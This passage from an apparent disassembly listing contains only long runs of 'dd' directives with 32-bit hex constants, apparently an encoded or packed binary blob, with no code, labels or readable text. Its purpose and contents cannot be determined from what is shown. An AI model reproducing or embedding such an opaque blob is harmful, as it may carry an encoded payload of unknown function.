		dd 6343E906h, 0DD68FFFAh, 0E9064E33h, 0FFFA6339h, 4E34DC68h
		dd 632FE906h, 7168FFFAh, 0E9064E35h, 0FFFA6325h, 34542BCAh
		dd 0BDDFDA58h, 21435EE1h, 94F4CD75h, 1F7D7CF8h,	1BA79FF4h
		dd 982E7A06h, 36B3EF8Dh, 0BE455133h, 730AD9BBh,	724D5D1Bh
		dd 32D56B7Ch, 6CFBFE85h, 28603ED5h, 0B4762433h,	32DD9BCBh
		dd 8CEB7624h, 0E390971Ch, 0FD8F2C82h, 48E47376h, 0DEDFACABh
		dd 37006878h, 81AC0295h, 657C6C45h, 74F18B1Ah, 46930475h
		dd 177C7288h, 0D75DCF4Ch, 6EC4A5D2h, 0B2B3F141h, 2C9E7C6Ch
		dd 4519B07Fh, 7C6CB303h, 6C00D6D1h, 0DBA992B7h,	356Dh
		dd 7EB9B600h, 0B8C17C28h, 6A8EC56Ah, 48097AE5h,	0A95D6CC3h
		dd 911E4F9Bh, 0AA049310h, 7C6CBA1Fh, 0FDFACCBh,	7C6CAA45h
		dd 0BBED520Ch, 0DBA97940h, 0BE9Ah, 0FE850100h, 72FE8AFBh
		dd 0F1720E7Fh, 5EF285F2h, 0C0A1DED5h, 0E05AE6Ah, 36FCF462h
		dd 0BA87624h, 0B3306C0Ch, 19B0C7B4h, 8BF8FD87h,	36FCBCEAh
		dd 0AFC87624h, 0CE8CB707h, 3A3FC557h, 0F862C4Dh, 6C60AEBFh
		dd 5F3D7A7Ch, 0F86447Fh, 0B70459BFh, 28CBA782h,	0BC25633Bh
		dd 0F4B37626h, 0CF6A0677h, 7DFABBC8h, 314E43EFh, 0C864F370h
		dd 25633B2Ch, 0B37626BCh, 791577F4h, 0BC41FCFDh, 0FA129DB2h
		dd 19959505h, 951C0000h, 0A2FE9Ah, 942B6705h, 37BFEB89h
		dd 0A6425E3Ah, 0D5A2C1A3h, 204041EDh, 95F7D274h, 1F7D7CF9h
		dd 87E5E083h, 0A3E5B9CCh, 317C724Eh, 0F985F4AFh, 670C98F8h
		dd 0B9630060h, 0B249DC7Eh, 389E951Eh, 6C400F9Ah, 85453E7Ch
		dd 67F4B3BEh, 1C20D800h, 4CCDCDFBh, 0E3BBCAE6h,	7C6CFCA5h
		dd 86F77433h, 6CFC6C28h, 0FBB0E77Ch, 9758BF1Ch,	38BB2925h
		dd 872F4C3Dh, 0C53E16D5h, 56DBA97Ch, 913924BAh,	0A54Dh
		dd 0FE85D600h, 72FE8AFBh, 4FD0C66Ch, 0C5422350h, 442D30B0h
		dd 57D48814h, 31BD4F26h, 0C43C9A30h, 0E0762446h, 68244443h
		dd 0D1BFCCCBh, 0DDB124E6h, 7C6C7050h, 2189EB94h, 8DE17416h
		dd 82B7111Ah, 1AB6214Eh, 6DF38D9Eh, 0CE662270h,	35727626h
		dd 3CB8D4B4h, 0FA8B862Eh, 82813CBDh, 44129D9Fh,	18A95BCBh
		dd 61000000h, 0EC96026Eh, 881F8BE9h, 3A3FF9Dh, 8A36620Eh
		dd 0E9CED5B7h, 345455D1h, 0B9DBC658h, 234140EDh, 0ABC9CC77h
		dd 8FC9A538h, 5D7C724Fh, 0EC80188Bh, 7E3F4C5Bh,	0BDBC38D8h
		dd 2520C3DFh, 0FE85BC47h, 54D06CFBh, 0A2FEFD55h, 16660201h
		dd 23439B2Dh, 72BB7271h, 5D0C62F5h, 897C6D15h, 83C191EEh
		dd 0CE7C6D0Ch, 8279AF1Ch, 58DBA9C8h, 0DAh, 5074D9C3h, 5C32A567h
		dd 7C6C4311h, 8F8B1CB0h, 0C56DEAE7h, 0C682DCB5h, 0F27C6C41h
		dd 67007077h, 0DA4C1AE6h, 0EB5106E9h, 0DB3E7A54h, 0ED8A48F6h
		dd 0CCEE945h, 428C599h,	0B3FC4F3Fh, 0EBB18AC2h,	32C2227Ch
		dd 5CF3510Ah, 0F6314602h, 0BD159248h, 49E3723Dh, 0D1CDAFAAh
		dd 51E85752h, 673FCE3Dh, 17D13AA8h, 59D80000h, 0C46E3A46h
		dd 50F7A3C1h, 0FB7B1775h, 620E9AE6h, 91E60D6Fh,	6C0C0DA9h
		dd 0D1B3AE30h, 5B3938C5h, 0C3A1A44Fh, 67217D10h, 757C7250h
		dd 0FE8530D3h, 86FB8AFBh, 63E06BD4h, 51F76501h,	0D0660774h
		dd 0E99437Ch, 5958E577h, 0CEB6E3F1h, 56227C6Ch,	223FC1B1h
		dd 0B49137A5h, 1CEBA037h, 3A37BF49h, 795B2C4Dh,	0C7E34B4Ch
		dd 1542D5CEh, 0F904E776h, 74D93651h, 0BB66750h,	0B9264734h
		dd 1E0D922Eh, 2B3B0D65h, 933BD7A9h, 2E1AC02h, 7A057C6Dh
		dd 0FC7AC09Eh, 417A0395h, 6777318Dh, 3A45F784h,	8A712ABDh
		dd 21A8AEB7h, 0AB039238h, 0FDCCD292h, 7C17FEB3h, 18E4C85Dh
		dd 0EE7906B2h, 0E6410757h, 0C56FFD4Ch, 5FF7B0C0h, 99437C50h
		dd 58E5770Eh, 0DC4B2859h, 4CE5C682h, 3D9512FDh,	9865359Fh
		dd 9CF28303h, 0F787FEDCh, 970E8FE8h, 116D7E05h,	0F787FE57h
		dd 6C6D0965h, 96026EEFh, 985716EDh, 0AE913C6Fh,	16C541F1h
		dd 45EC0000h, 0F0722E4Ah, 64FB97F5h, 0E78F1B79h, 96128EEAh
		dd 85D2F193h, 503031BDh, 0C5A7A244h, 4F2D2CC9h,	0B7D5D053h
		dd 7335891Ch, 417C7251h, 0FE8524FFh, 3BA144FBh,	0E8A712A0h
		dd 16867Ah, 8D842D00h, 3431B3EFh, 0B8A73854h, 2D24CCD8h
		dd 0D2D7534Fh, 0FCC4ADB6h, 87137170h, 884E4E1h,	920E6A6Dh
		dd 0DD761211h, 51B4F4CAh, 0BE007C72h, 0FBFE85E5h, 53F9C28Ah
		dd 0ACD0CFC4h, 0BD182BE4h, 57E98015h, 6D41D4B1h, 7624B32Bh
		dd 7A58FEB9h, 7C6CBAE3h, 69385827h, 275431D7h, 0D1DFA3B2h
		dd 68E91FD7h, 14B00AC2h, 98F6612Bh, 82B4BAD5h, 0DC8A9611h
		dd 12CD61EAh, 64F399A2h, 5D2A2DC8h, 4F1FF65Ch, 19152BAEh
		dd 16AA3D7Ah, 0B13E946Bh, 0D6B54AE6h, 3D93AC00h, 54D02101h
		dd 44CE2055h, 7137871Eh, 7F110485h, 8D24B330h, 4857731h
		dd 15CE4511h, 1D162332h, 148129D6h, 502D5ABAh, 56C1AE17h
		dd 8C2939BAh, 3EBFFC8Dh, 0FABE10A7h, 0C612CF36h, 257111B9h
		dd 0E7249B9Eh, 0D175F536h, 15A1A05Eh, 69080000h, 149E0A96h
		dd 80277311h, 0BABE785h, 0B23E6A36h, 0E1B6DDBFh, 3C5C5DD9h
		dd 0A1C3DE60h, 2B4948F5h, 93F1F47Fh, 97D1ADC0h,	257C7252h
		dd 1470083h, 2A762433h,	0BC12F196h, 2442561Eh, 53044076h
		dd 0B2F27624h, 0E6762432h, 2AE7465Dh, 1C12A03Bh, 1549F363h
		dd 0C1600000h, 4CF6A2CEh, 0E87F2B49h, 63039FFDh, 0EA96026Eh
		dd 96E7517h, 0D4B4B531h, 593B26B8h, 0C3A1A04Dh,	4B292CD7h
		dd 0EFA90598h, 0FD7C7252h, 7EB9B86Bh, 0FC7549DCh, 487C6C37h
		dd 3727902Fh, 9E110C58h, 1502E0h, 908A900h, 0B0B53F6Bh
		dd 2423C4D0h, 0A9A84844h, 5E53DFCBh, 78401132h,	39FFDFCh
		dd 9400607Dh, 1E8A16E9h, 61F29E95h, 5438704Eh, 22847C72h
		dd 0FBFE8561h, 7E75FE8Ah, 0E9560801h, 0E11244BFh, 3E9EDDh
		dd 80050000h, 767E420Bh, 0CF748765h, 7DFABBC8h,	42BD87D5h
		dd 48EB7624h, 15B12F4Dh, 0E4767FB8h, 1016D6E2h,	2520C390h
		dd 29D65754h, 808722BEh, 3AFFB915h, 0A2CD767Fh,	80FF6F0Ch
		dd 54000014h, 6CFBFE85h, 205150D0h, 0B9CCEB43h,	0E9869B27h
		dd 6F1C199Bh, 5529810Eh, 3530B36Ah, 804D21B4h, 0A47C6C42h
		dd 30B04CDBh, 0F3808722h, 0A735B2h, 0BD1DAD05h,	0B64DD882h
		dd 0EA9B9E1Ah, 32B7258Dh, 0BE82B475h, 0BCF580F1h, 0DE77EA41h
		dd 0C848EE3Bh, 9E482837h, 76248ED7h, 0CBCE6A06h, 80DB763h
		dd 0A5B63C68h, 248E8FC9h, 0D5525D76h, 2B2ED4A4h, 0B56A445Ah
		dd 0A0C0C56Fh, 0E1521308h, 1DCC9DDh, 0B9520000h, 7549DC7Eh
		dd 7C6C4144h, 0A661790h, 930F6D68h, 10671411h, 5BF3F67Ch
		dd 6C51377Dh, 0C1C06D7Ch, 4443E0B0h, 7D229037h,	3CD0C7A4h
		dd 0A517BFAAh, 0B5B032E6h, 1EBC87D7h, 0D15CF087h, 1734A1DEh
		dd 1DE15D22h, 8ECC62E3h, 82B4B177h, 0A09AA46h, 217D14A4h
		dd 7624B067h
		dd 0FC8D0A75h, 630100ACh, 0F9B68B37h, 24B12D69h, 7926A876h
		dd 0A33237B3h, 0B0F6B20Ch, 0A5C27624h, 88247D0Dh, 1C9DEAEDh
		dd 5D58DAB6h, 3BC7592Ch, 82284926h, 3E9D6C16h, 82C6989Eh
		dd 4E76252Ch, 0E9995421h, 3FBCBB38h, 0C7B9C1BEh, 0B93BD518h
		dd 0F87A16BCh, 4FF9FFDh, 0DEDDE1A0h, 5Eh, 0EBF98545h, 4A0E604Bh
		dd 96762433h, 9A1B68E9h, 87196C1Dh, 1794E5E0h, 5257D3BFh
		dd 0BC635D25h, 68033871h, 8EDB831h, 614AF6A2h, 24DD4B0Dh
		dd 66227C76h, 727624DCh, 0AD384735h, 24DC97D1h,	0DD5A2576h
		dd 0A4E41FBFh, 277DDE1h, 65007DD1h, 0E3941562h,	59F109EFh
		dd 0C5F5h, 7EB92E00h, 0B07549DCh, 47C6C41h, 0D350EC7Bh
		dd 70C6A7D4h, 0B6B33143h, 3134BEEAh, 0B7B23040h, 0FD14AAC6h
		dd 100EA2EAh, 2253D069h, 0D8A9AC56h, 0BFAD49DBh, 0C2B33035h
		dd 0C41DC2BCh, 70BF6C5Eh, 2C6C42D9h, 0B87C6C62h, 61E9AFFFh
		dd 9BF77C6Ch, 0B681904h, 0F2FBF98Ah, 481D7839h,	898C36E2h
		dd 74D843EBh, 0B14BDBA9h, 2542332Eh, 44418Dh, 0B9DA0000h
		dd 7F4FC67Ch, 76243389h, 0BDBA8D7h, 76243449h, 0F513C88Ah
		dd 0C39B0AC8h, 762433D5h, 0E5CB7703h, 7637445Dh, 250FB8C9h
		dd 86545324h, 0A961794h, 6061019Bh, 18ACCAh, 47D90000h
		dd 0ABC8B9BCh, 0EC806003h, 0DFD25240h, 0EA40215Eh, 4FCCh
		dd 0E2854B00h, 78FA96E7h, 0E1831F7Dh, 0FF3997E4h, 8C36CA5Dh
		dd 8401E89h, 0D4762433h, 0E67403ABh, 7624329Dh,	0FA8B8E35h
		dd 411D06AEh, 76243207h, 5C2DAAD5h, 7EB77446h, 0B63FA9Dh
		dd 7624324Dh, 4B61C9Bh,	0F1BA6147h, 7560221Eh, 0BB00000Ch
		dd 4D44EC80h, 7D77F3Ch,	50EE9F3Dh, 0FFCF678Fh, 0E4BA5144h
		dd 0FFCF66A4h, 0EDDF7730h, 26ED163Eh, 2F37544Ah, 6C000000h
		dd 4ADD7FB9h, 24333474h, 96E78076h, 98002238h, 6D780E1Fh
		dd 0E3E68C1Ch, 667D0692h, 18D18EE0h, 0A0847BF7h, 7492C37Bh
		dd 2CCA1h, 0B80FA00h, 34337905h, 4E1EB4BAh, 393CC776h
		dd 79360BABh, 772CBB38h, 0DD89D96Bh, 3C47EFCBh,	0FE85C358h
		dd 55D06CFBh, 0EE442552h, 796EF5D5h, 0D8E11A92h, 3448h
		dd 7FB9D300h, 0AE2F22CEh, 91FA537h, 90116E6Bh, 0AD056213h
		dd 980B801Ah, 116DDC2Bh, 603ED77Fh, 7624B925h, 80ADF6B1h
		dd 0E7E2851Bh, 676FF482h, 35h, 0DD7FB9FCh, 9DDBB34Ah, 2B762432h
		dd 80DDE64Ch, 2432672Eh, 6D367576h, 0AA57E980h,	0A7F49123h
		dd 0B031FCAFh, 7B0CA2C3h, 82E7E285h, 67039DF4h,	3E941562h
		dd 0A42E47A5h, 9E1A77CBh, 6ADF99Bh, 0A4404C03h,	0C39B32A5h
		dd 77CBA385h, 0CFFE5453h, 532021CDh, 0D7A4A541h, 0A861DEECh
		dd 6FB56A20h, 7723C1C4h, 5A59DACCh, 80CF4C2Dh, 0F6CB7709h
		dd 9A52F8B9h, 0EF861FF1h, 0CBA3D99Fh, 3298E777h, 851CC3B8h
		dd 0CBA36F29h, 83217D77h, 0B88E986h, 494CF7A3h,	7174FFABh
		dd 0C216923Eh, 77CBA383h, 73652857h, 159E4239h,	1AA6F21Eh
		dd 9E467607h, 549C430Fh, 453EA9A8h, 463838FCh, 0E8E99529h
		dd 0E6A2FC6Bh, 0F277CBA1h, 118D1DB5h, 0E7E28492h, 0B9F6D375h
		dd 9D347BF8h, 17646103h, 0D450C096h, 0CBA24104h, 85D97077h
		dd 77CBA1C3h, 0B0C09611h, 4E45B8F7h, 0A1A1E7B7h, 0F4CA77CBh
		dd 77CBA1B4h, 79156700h, 0EC8DFAE7h, 0D695C76Fh, 86626102h
		dd 77C690Ah, 0F08C5068h, 0E6A2F07Fh, 1277CB4Ah,	87E09097h
		dd 1F1A8F06h, 654C55C3h, 0FB22E968h, 0B3B0318Eh, 1B0E4A24h
		dd 0DDDA77CCh, 0BF517875h, 214E3F32h, 30A55589h, 0BE529D42h
		dd 15532B28h, 0A377CC1Bh, 493647C4h, 0B7B231E1h, 4BBA3955h
		dd 46E9E2CBh, 14ED9566h, 35A71697h, 1C199B89h, 2DA4D09Fh
		dd 0AA041793h, 77CB64EEh, 4F3CBDFAh, 69D6882Eh,	0B22520C3h
		dd 0A8BC8CF9h, 35890A4Dh, 77CBC073h, 11B92641h,	0FE8552F1h
		dd 0C3589EFBh, 4FC67CB9h, 32A2E6B8h, 412E7624h,	245550D3h
		dd 0F5D4EF47h, 0EFA9059Ch, 0FD762432h, 798B1CB2h, 0D8E11A92h
		dd 54146A01h, 60792432h, 32AFAF07h, 0F4000000h,	0BDC67CB9h
		dd 4346EC80h, 11542AEBh, 0A5762433h, 1B80B9DAh,	0D395E980h
		dd 0E1762432h, 74AB4072h, 67E417E4h, 0A4A143CFh, 676FF4C3h
		dd 42h,	0C67CB9FCh, 52E980BDh, 24333C7Ch, 47EF8876h, 24334C09h
		dd 62029E76h, 0E4911E6Fh, 0A4484E2Ch, 0C2A72403h, 0FF851B80h
		dd 0E98099FAh, 2432D395h, 3086E176h, 90098211h,	0A529A421h
		dd 880908A8h, 0E9808122h, 2432D395h, 64650176h,	9D1A9617h
		dd 415BA735h, 8667624h,	0FFFFFCE0h, 32FD478Fh, 2D177624h
		dd 0E910D6Fh, 2A6B0EE7h, 0C16C0A48h, 0B76037Ah,	2F5CDDBBh
		dd 3938C458h, 0F85C391h, 31B37625h, 0F6879A27h,	297B0889h
		dd 18059B89h, 0C39BEA9Bh, 76250F85h, 0BB375453h, 31680FC4h
		dd 8010159Fh, 1794E5E4h, 8A5E0DBFh, 1B8A16F5h, 0D791ED84h
		dd 0E576250Fh, 0F8CCC9Ah, 5F587625h, 9C991BF7h,	0E3A19CFCh
		dd 62CDC492h, 0D486B87Bh, 9CCA3117h, 3C109FB7h,	8B000002h
		dd 2432FE47h, 6F2D1676h, 4B0D61F8h, 99762433h, 75AF651Eh
		dd 72AA72C5h, 0C06539DCh, 147C6D29h, 0E398096Bh, 2D35D3FFh
		dd 7B17BFFBh, 4954EAE4h, 8DFA7B38h, 37075FFh, 5958D874h
		dd 37E34B28h, 95FB888Dh, 0DE75E0AAh, 8AEBD42h, 0B4E9F74Ah
		dd 0AF803382h, 8F82222Ch, 3FDCADFAh, 7FAE0FBEh,	1788129Fh
		dd 0DCA67h, 4140E100h, 0C8CD7723h, 7C6BFCA8h, 0E1E0801Ch
		dd 966B1783h, 0B088E90Ah, 3B573534h, 0CCD8B8A5h, 56422E21h
		dd 19CAD6ADh, 5A702886h, 0EA7C7C72h, 0FBFE8539h, 0A64FB8Ah
		dd 7624334Eh, 89FBFE7Ah, 941E95EEh, 0CF41FD5Ah,	0EEAC9767h
		dd 5B5EE577h, 5F2C2DC9h, 411DF85Eh, 7C72A372h, 2E37265Bh
		dd 0BE8F2E7Dh, 114F3C5h, 0BD154FD3h, 49E3723Dh,	0D8C9ABB6h
		dd 7B2B6D41h, 0EDB97C72h, 6AC04140h, 861919AEh,	279EA9Bh
		dd 8DEF3688h, 82F370F1h, 39764DF6h, 37AE6C57h, 0F3B509A0h
		dd 0C17C723Ch, 1F4210A6h, 0CB82BA46h, 37A211ACh, 0EBA4129Ah
		dd 0D167Bh, 1D149D00h, 8481237Fh, 817A8E4h, 0BDB43C68h
		dd 2227C3DFh, 6C543D46h, 0F7A3C1C0h, 78147451h,	29EFAFDh
		dd 4D066261h, 5C24643Ah, 2EB07C72h, 0E8FE8575h,	0BFCC4D4Ch
		dd 0B124E6D1h, 6C61F4DDh, 861C957Ch, 6A8AB284h,	0BBC4F45Ah
		dd 2326CDD9h, 9A9D18B4h, 11149FEDh, 2C820360h, 356E059Ch
		dd 22EA52CEh, 0B4F4A214h, 7C6CB6h, 4ACBCE74h, 992F08E4h
		dd 58DBD5F8h, 3A4F2C5Dh, 56D71F15h, 0C61FEFBFh,	2E4982BAh
		dd 878225B7h, 0B16A9E5h, 607F009Ch, 0A1DAADCAh,	0FF0641F2h
		dd 0A969C17Bh, 1E7E0F0Ah, 9EF06725h, 7C7257F3h,	9C0DB0FFh
		dd 9A0C5225h, 0C5D75E5h, 0AD540000h, 58DAB6D2h,	0DC633F5Dh
		dd 4FF7A3C1h, 0FE7A1672h, 1D7A99FBh, 0F8989925h, 6D0F1AACh
		dd 0D7B5B431h, 5F3D38BBh, 0DB9DF184h, 0E97C725Bh, 0FE85CC57h
		dd 86FB8AFBh, 2599665Bh, 0BF0FA7F1h, 2829D584h,	4ADD5A5Bh
		dd 6CE6F974h, 0B2314D7Ch, 9B9E25B7h, 80227E1Ah,	14ABE785h
		dd 0DE094F1Fh, 0A8D77C6Ch, 0B9AA492Bh, 7549DC7Eh, 7C6C621Ch
		dd 0E07E0F68h, 7C6C60A4h, 0B354E8AFh, 9F4C7ED4h, 0A92072A9h
		dd 0A44FE1DBh, 0B0C509A1h, 5E000000h, 49E9FF85h, 0C05CCB48h
		dd 0EE8D2524h, 0EAAE0097h, 13762432h, 2432FDBBh, 0DCACCB76h
		dd 159F7BD3h, 91116310h, 0C86B0590h, 3A5665CDh
		dd 0FFDFBDB8h, 0FABE10C4h, 0C6762432h, 0A9158B4Dh, 0E8FD73Dh
		dd 359D1681h, 1918A48Eh, 0DB7E0B68h, 7B76FE2Ch,	46EC6D0Ah
		dd 0A482FFCFh, 0A1CE7C6Ch, 57CD911Eh, 4AF8B70Ch, 0B67h
		dd 0CCACA342h, 355752D0h, 0B9DBC659h, 2C4C45EDh, 97F5F470h
		dd 931F278Ch, 0A6F29Eh,	8E2B6705h, 36BDE98Bh, 0EB825133h
		dd 725CD593h, 0CA5DE37Ch, 56E9FF85h, 0EF7D3A4Bh, 0A0C04144h
		dd 0DDC85FF1h, 564775h,	85DC0000h, 0C38DFAFFh, 2CC352F8h
		dd 327F3995h, 224D7624h, 4C73CE8Ch, 0F0BF7C6Ch,	5821584Dh
		dd 1B16E0Ch, 0AFBh, 50300FB6h, 0D9BBBE44h, 4D2F3ACDh, 0B0D0D151h
		dd 3B5958E4h, 0E783BB18h, 740A86E2h, 129F0B69h,	82217D1Fh
		dd 576EE587h, 725E4107h, 6E398F7Ch, 8AFBFE85h, 17E75FEh
		dd 17148D08h, 0C2F55DDDh, 0BE6D5FF7h, 0E1C76D96h, 249B7DDh
		dd 0D9EC0000h, 8B4039A4h, 2B80A97Ch, 0C3C03740h, 0D22512F4h
		dd 0E697A07Ch, 0D4D55141h, 2859C6A7h, 5859D94Bh, 5ACD4A2Bh
		dd 6CB63904h, 0E6026D7Ch, 457CF68h, 5EFCC770h, 0E6AF7C7h
		dd 0CC63724Ch, 0BC05B6F2h, 0CD650269h, 0B953C2ADh, 20413E3Bh
		dd 98A3ED8Ah, 0A90B63F2h, 0FF700785h, 0E88B25B0h, 90138FEDh
		dd 8DA12A95h, 18971CC3h, 0A3E6Ah, 0F5CC7500h, 7C79FB97h
		dd 0E0FF801Ch, 956C1480h, 1A1F9BF7h, 447C557Eh,	0CFDBB9B8h
		dd 504C2C39h, 0DAB6D2D5h, 0A53E5A59h, 5DFCBC12h, 76C87C72h
		dd 0FAFF85ADh, 52F8C38Dh, 4CE1EBC3h, 78077C72h,	0D0CD53EDh
		dd 5442E4B0h, 0DBD8A9A8h, 0C65A2D5Ah, 5657243Bh, 5A132C80h
		dd 0C9B6C7DAh, 0A343DD48h, 7AD0D1AEh, 6966C39Bh, 0F5B282BAh
		dd 2D38CE62h, 0D0CD534Fh, 0A352D1A3h, 0A60D85E7h, 6B926F5h
		dd 1299977Bh, 0B424D24Dh, 0FF000009h, 8D197B76h, 0A86E2E7h
		dd 9E0A9675h, 2D791B16h, 0C3E08081h, 2B2ECAF2h,	0DECB5D49h
		dd 445BE6B2h, 0CCCB6824h, 0CEA037ACh, 7C725E8Ah, 7D17F056h
		dd 24329DD3h, 0CFBC3E76h, 87457E6Eh, 63257910h,	71762432h
		dd 99F5A036h, 7C6C4FC0h, 5DF4630Ch, 4EB0E8C6h, 733C7C6Ch
		dd 0AEA83FDBh, 0E28E0F02h, 6421CB3h, 327C6C4Fh,	50C3B1ACh
		dd 52A730Eh, 0F046C767h, 0EE79231Ch, 0A2D3D652h, 4E632A31h
		dd 0C041977Fh, 7814AB6Ah, 25610CE7h, 809B897h, 0B6B5238Bh
		dd 282B75Eh, 7AAD3E91h,	54D59513h, 3B932AC1h, 7626357Dh
		dd 3F5B2C4Bh, 586975E0h, 0BC47D37Bh, 0C7972EB9h, 76267181h
		dd 0FE8A204Fh, 0BB0201A2h, 129DFAFCh, 0E4D5453Ah, 0CF000008h
		dd 5D492B26h, 0DAB6D2D7h, 6E3A4645h, 0FDA9CBC6h, 0F3107071h
		dd 1B1E9AA2h, 8E9B2D79h, 340BB6E2h, 0BCBB3854h,	1E7007DCh
		dd 7C725F5Ah, 4747C066h, 762432FDh, 0EF8D882Bh,	7F16B48Fh
		dd 88C4B3E8h, 9B195DF0h, 0EB338B05h, 0E97CFD31h, 2498D395h
		dd 3086E176h, 6CE762A2h, 4F1F767Ch, 7C6C5B09h, 0A8E0BED7h
		dd 347C6C5Ah, 0DA4DCA4Bh, 0C4A4BB46h, 0B3B633CDh, 0FFF27F1Bh
		dd 865108Eh, 0B9770000h, 9136CA7Eh, 32A4E4B2h, 77307624h
		dd 0E60F5FF6h, 327C6C3Ch, 0B84EE275h, 4DDFDCADh, 6A09A1A0h
		dd 6E2A841Bh, 9A7C6C3Bh, 976071Ah, 38963C7Bh, 7C6C3B7Ch
		dd 80A41BD7h, 0DBA9079Bh, 16941h, 0E9942800h, 85274016h
		dd 0FD88F9F8h, 0B2C3C663h, 2BBD5DF5h, 2190B5CAh, 243A0B4Dh
		dd 0A5DED976h, 0F4753473h, 0B4F4CA61h, 0E0762495h, 7532435Eh
		dd 0A5D27807h, 0A43A2CD7h, 2AABC8B9h, 808121BBh, 9F1CB2F3h
		dd 0F661600Dh, 73DBDE5Ah, 7A23E57h, 41327300h, 23E34BD5h
		dd 8D0DA5D6h, 590E1E0h,	61C9D46Bh, 8017AD8Dh, 24F4A22Eh
		dd 67374E76h, 7624F521h, 3243C0AFh, 0A9C6DD66h,	0A24F59DBh
		dd 50D1DEAFh, 9D427823h, 0D66A2144h, 5B58292Ch,	0FA46BE2Eh
		dd 5DF558F3h, 0C974BC63h, 0A82A5FF6h, 2F77CC93h, 0D5C1E149h
		dd 8A582928h, 76249BC2h, 0A9059CF3h, 76249AEFh,	0A21CB2FDh
		dd 0DF7932FDh, 490F1520h, 1C9979D1h, 628E960Bh,	0E591E3AAh
		dd 2438F3B5h, 39A6C176h, 8143735Bh, 3908B816h, 0BBC47624h
		dd 3D28BECAh, 0A0BD435Fh, 2722C1D3h, 5C03CF56h,	7517F294h
		dd 0B9A8719h, 27B21196h, 5AD071Bh, 7F1D2676h, 0DC4B96E8h
		dd 18677C6Ch, 8F9A2C78h, 16A09EFEh, 5FB72281h, 0F0F77286h
		dd 0E465E283h, 5F52DF71h, 0C401EF7h, 0D87C6C44h, 4CD2AEDFh
		dd 0CF502051h, 0A822A3D0h, 9F5B3AF3h, 7B66F820h, 0EEFB8D19h
		dd 46043F91h, 75E6FFCFh, 753282B4h, 0CE57B17h, 8AFB2ABDh
		dd 0BFDD5A0Dh, 0ADA84AE6h, 0E9E89505h, 7EB9E88Bh, 0A87549DCh
		dd 0FC7C6C42h, 0CB6C2B3h, 0B9C86B09h, 5A4FC67Ch, 7921166h
		dd 0B9FFCF45h, 7762485h, 2453FB78h, 2485CE96h, 7E128576h
		dd 0D494EAF3h, 0E0762485h, 1E690687h, 24860840h, 2AABD476h
		dd 3315CA84h, 0DDE15DC8h, 3712h, 9F067B00h, 5F39D59Ah
		dd 8580238Bh, 3D8DFAFFh, 7624327Bh, 0FB219E5Ch,	0C0C56F79h
		dd 2DB72143h, 48762454h, 0FFFF9A3Ah, 25366BFFh,	1E895367h
		dd 0DFACAB48h, 0EEF951DEh, 9EFBFE85h, 7CB9FD66h, 0EE75BDC6h
		dd 0E11A9279h, 5548D8h,	8F210000h, 457A1EE7h, 0B11C2FBEh
		dd 8C224330h, 0C67CB9FBh, 6A2E80BDh, 93762432h,	0F7C7DF9h
		dd 0CFA8C86Eh, 851B80AAh, 4A57E9FFh, 41EC7C3Dh,	0F370314Eh
		dd 69DF496h, 2432F0A8h,	8757FB76h, 246EA49Dh, 0E0832B54h
		dd 0B15D0B80h, 0B9D7279Bh, 376311h, 0B9E00000h,	80BDC67Ch
		dd 24326A2Eh, 6E0B7076h, 7B4B0B80h, 6DFF5B69h, 854B50C5h
		dd 0D16BFAFFh, 0B025524Fh, 6E619853h, 59F17ED5h, 39DF44Eh
		dd 0F4F1737Dh, 0D1790677h, 95E980B6h, 762432D3h, 32EEAA04h
		dd 0BDFA7624h, 8E0AA0CFh, 7A67F9F9h, 9EEF6C0Dh,	243288C0h
		dd 2A914176h, 6626106h,	2440E248h, 3F8DFD76h, 0AFFFFF3h
		dd 9EFAFF85h, 0D047053Eh, 33236539h, 0F6B17624h, 821EB560h
		dd 0D4BE3E6h, 7C6C642Ch, 0F04E3F78h, 7C6C62B4h,	0B17C239Fh
		dd 0EF9C891Fh, 6F94288Eh, 0B5DBA922h, 7, 167EEh, 80FC0000h
		dd 32D395E9h, 86E17624h, 0E66CD2EDh, 0E64C757Ch, 0F86F2D16h
		dd 6C8823A6h, 0B3C0AF7Ch, 7E5043E1h, 7C6C443Ah,	0B7C4DB66h
		dd 7CFDBAF6h, 9070B0E9h, 23C7A184h, 0EDA6FF8Bh,	97713543h
		dd 0D381298Eh, 7C6C3BCAh, 1C7C73FEh, 7F1F0C85h,	0BA932A55h
		dd 0E6F98414h, 29B1A789h, 0AFFD8A97h, 47F0C19h,	6830C9B6h
		dd 7A072D92h, 0EA890567h, 43E478EFh, 789C3CB0h,	0C7443684h
		dd 0D1527E6Fh, 68E99BD2h, 0FF5732D4h, 29CA1ECDh, 7925CE2Ah
		dd 0DA611A82h, 0E758h, 0B80C300h, 9E7E923Ah, 2266380Bh
		dd 0AE7624BFh, 12EA40C1h, 60F76E24h, 24BF4A0Eh,	5D1B7376h
		dd 6B7624BEh, 0A1337C0Ch, 32730001h, 2E800B9Ch,	76243267h
		dd 806D3675h, 0C7E05B1Bh, 9EFBFE85h, 4D44EC80h,	0B94DD6E5h
		dd 75BDC67Ch, 1A9279EEh, 4948D8E1h, 0D3000000h,	40327CB9h
		dd 9C5974DFh, 8089EA6Bh, 24326A2Eh, 9E097676h, 0CFFFA9E5h
		dd 1A99617h, 52E98066h,	24333C7Ch, 47EF8876h, 870B803Ch
		dd 0A9B44A92h, 2DAEDBD8h, 7B17BF28h, 4144EFF9h,	91F27330h
		dd 43676FF4h, 0FC000000h, 0CCCD0B80h, 1265D2EBh, 97E4FB86h
		dd 0D1EC4016h, 2E805633h, 7624326Ah, 3672FF70h,	2389A186h
		dd 1B80C1A2h, 0A20EFF85h, 85EED608h, 0ADE671FEh, 0CA2E620Ah
		dd 338B1A2Eh, 76249B75h, 0F58E2443h, 10676FF4h,	0FCFFFFFFh
		dd 6CFBFE85h, 275ADCD5h, 0C472049Eh, 2458D296h,	7B76FE76h
		dd 0ABC86E09h, 3D5F5AD9h, 754C625Dh, 958344h, 0AD3FD657h
		dd 928F1107h, 86D8BD15h, 7C6CDC57h, 0C98FDF76h,	177C6CB7h
		dd 0C9B6C268h, 0B1F7C75Eh, 0DA7C6CB7h, 6CB7C484h, 0E597107Ch
		dd 3787349Ah, 7C6CB76Dh, 93B56AE4h, 0DBA99768h,	3DB2h
		dd 7EB9E900h, 647549DCh, 0B07C6C40h, 6C2886F7h,	987C6C3Fh
		dd 1D6F1C1Bh, 61EE9F8Ah, 14F93EEDh, 4E43EF81h, 0E0DA7031h
		dd 15DF43Bh, 7C6C4047h,	2844EA95h, 0DBA903F3h, 10C29h
		dd 0E9807200h, 2432D395h, 3086E176h, 0B7C4C360h, 0CD5859E5h
